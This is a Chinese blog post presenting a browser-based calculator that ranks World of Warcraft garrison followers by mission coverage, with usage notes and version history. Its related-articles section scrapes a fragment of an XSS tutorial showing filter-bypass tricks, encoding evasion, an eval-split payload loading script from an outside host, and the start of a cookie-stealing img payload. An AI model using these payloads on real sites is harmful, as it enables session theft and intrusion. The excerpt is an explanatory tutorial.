计算追随者们对所有任务完成程度的计算器

boyanx1周前技术教程4

[followerBest]以不变应万变,计算追随者们对所有任务的完成程度的计算器,很久很久以前...说远了

随着要塞的不断推进,当我手中的追随者超过25个时,遇到了人生的一次抉择,嗯,把谁遣散掉。

在那时我就萌生了一个想法,有没有一种算法来为所有的追随者评个分数排个名次呢?

后来虽然借助nga各位大神的工具和数据做了一个简易的excel表格,但每次使用都要手工排名,版本更新时还要更新任务数据。

于是在某一天就在想,其实当前规则下一个任务需要的技能变化就有数的一些,那么能不能把这些任务都穷举出来,然后看看我都能完成哪些?还需要完成哪些?

这种想法其实就是所谓36金刚的思路。

但36金刚并一定是最优解,假如凑齐了36金刚,很多任务都会有很多种组合方法,也就是所谓的人才浪费。

有没有一套追随者,他们不到25人,但他们能穷举出所有的可能出现的任务呢?

为了解决这个问题,我便着手开始制作这个计算器。

如有不兼容问题,请使用各浏览器的“极速模式”

下载整个文件夹(或文件夹内的fb.css,fb.js,followerBest.html,jquery-1.11.2.min.js四个文件)后,运行followerBest.html文件即可。IE系列浏览器需要允许本地脚本运行。

已放入早期我的一个追随者字符串,供大家把玩使用。

使用方法

1、请下载并安装随从信息导出插件[FollowerExport]将追随者信息导出;

2、将导出后的字符串复制到导入界面中;

3、点击上方的"导入"按钮即可导入追随者数据,并会自动切换到"一览"界面;

4、在"一览"界面中可以浏览您的所有追随者数据,当前暂定只计算紫色品质及以上的追随者;

其中"得分"一项根据统计的所持有的技能数进行评分所得。

持有的技能总数越少,该技能的评分越高,持有该技能的追随者评分越高;

5、点击"计算"按钮即可进行计算,该界面罗列了"每个任务最多需要6个技能,每个技能最多出现2次"的前提下所有可能的任务(共计1554个)。其中:

绿色表示该任务3个追随者的6个技能都能匹配;

黄色表示2个追随者至少能匹配4个;

红色表示1个追随者至少能匹配2个;

灰色表示该任务没有人能匹配该任务;

6、点击"分析"按钮即可浏览任务完成情况和欠缺技能、组合情况。

可以结合"一览"中的任务排序功能来确定让谁来吃技能书

使用注意

1、本工具采用html+css+js编写,所有源码可见。因水平问题难免出现逻辑或兼容性问题,恳请大家指正;

2、本工具采用贪心算法,即总是能找到可行解,但不一定找到最优解。所以再次点击"计算"按钮可能会出现其他的解;

3、计算后可以返回"一览"界面,可以查看追随者能匹配到的任务数量,并可以点击表格标题进行排序

4、对于任务匹配采用强匹配方式,即只有追随者的两个技能都匹配上任务时,该追随者才被记入任务队伍。

所以即使是黄灯的4技能匹配,在实际操作中也可以找到第三个追随者匹配5技能;

5、本工具未考虑追随者特长产生的印象,所以实际操作中会比计算的结果好得多;

6、新版本中暴雪开放了7技能匹配的任务。嘛嘛,三个人是做不到7技能完全匹配的,其实还是6技能匹配+特长增效而已。

强行假装其实也是6技能任务。。。

7、各类数据容器,请配合console或firebug使用:

followerList(追随者数据列表),

skillList(持有的技能统计列表),

questList(所有的任务列表),

analBox(分析数据存放容器)

8、开发时使用chorme作为唯一测试工具,开发后做了一些兼容性测试,但不保证所有兼容(比如手头没有IE6)

如有不兼容问题,请使用各浏览器的“极速模式”。因为很重要,所以说第二遍

版本更新说明

1.0.1、

1、增加了计算界面的可读性。现在将鼠标放在圆圈上可以提示其任务所包含的技能以及参与的追随者。点击圆圈可以固定提示框位置。

2、对“分析”中的结果进行了排序。

1.0.0、

基础功能已完成,发布正式版本。导入、一览、计算、分析各个功能基本实现。

已知的问题

1、多次点击"一览"按钮会出现列表跳动;

2、"一览"界面中按照得分或者任务排序后,序号不会重排;

3、再次点击"计算"按钮可能会出现更优解;

4、因时间和个人能力问题,采用了贪心算法,会导致无法总是计算出最优解。

下次更新预览

1、修正已知问题;

2、增强计算的算法;

3、增强"计算"界面的可读性;

4、增加"分析"界面中的排序功能

相关文章

简析js中的this的指向(js中this.)

回想当初在切图网做前端项目,用到js,经常用到this;那我们就谈谈js中this,如果说你没弄清this指向的问题,那基本可以说js没入门。this指向的问题的文章,上网搜资料能搜一大把,基本上都是...

一些JavaScript的入门知识(javascript入门基础)

前端开发的核心技术有三项:HTML、CSS和JavaScript。这三项技术中,HTML和CSS比较简单,JavaScript则相对来说复杂得多。所以,前端工程师的学习时间,大部分都花在JavaScr...

JavaScript 事件冒泡--如何阻止点击事件

<div class="subcategories">这里有点击事件</div> <div class="subcategories"&g...

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符

使用回车截断javascript

使用tab截断javascript

4.1.6 利用过滤器规则

Ript>alert(1)t>

4.2

HTML编码

HTML标签中的某些属性值可以使用&#ASCII方式进行编码:

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

aaaa

4.3

Javascript编码

js提供了 3 种字符编码的策略:

· jsunicode编码,例如“e”编码为“\u0065”

· js十六进制,例如“e”编码为“\x65”

· js八进制,例如“e”编码为“\145”

4.4

跨站拆分法

安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。

幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。

上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。

document.write(' src=//www.shell.net/1.js>')

然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。

05

XSS漏洞利用

点击添加图片描述(最多60个字)

5.1

窃取Cookie

点击添加图片描述(最多60个字)

5.1.1 读取Cookie

直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。

点击添加图片描述(最多60个字)

5.1.2 发送Cookie

5.1.2.1 利用img标签(最常用)

只需将alert(1)替换为以下Payload:

var img=document.createElement("img" alt="跨站脚本攻击(四)(跨站脚本攻击有哪些)">

跨站脚本攻击(四)(跨站脚本攻击有哪些)

04XSS漏洞挖掘技巧4.1常见的绕过姿势实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能...

WordPress独立站建站初期:插件不是越多越好

有次接手一个刚搭好的 WordPress 外贸站,客户说“感觉越来越慢”,后台操作有时候要等 7、8 秒才响应。他还问:“是不是我主机买便宜了?”我一看后台,插件居然装了28个……♂包括但不限于:3个...

极客Web前端开发资源大荟萃#019(极客代码)

以下为本周的推荐的优质代码,非常漂亮实用。快来学习一下吧,以后工作遇到这样的需求 再也不用担心不会啦~酷炫的拖拽关闭弹出框的效果通过dynamics模拟物理动画库和draggabilly拖拽库实现的超...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。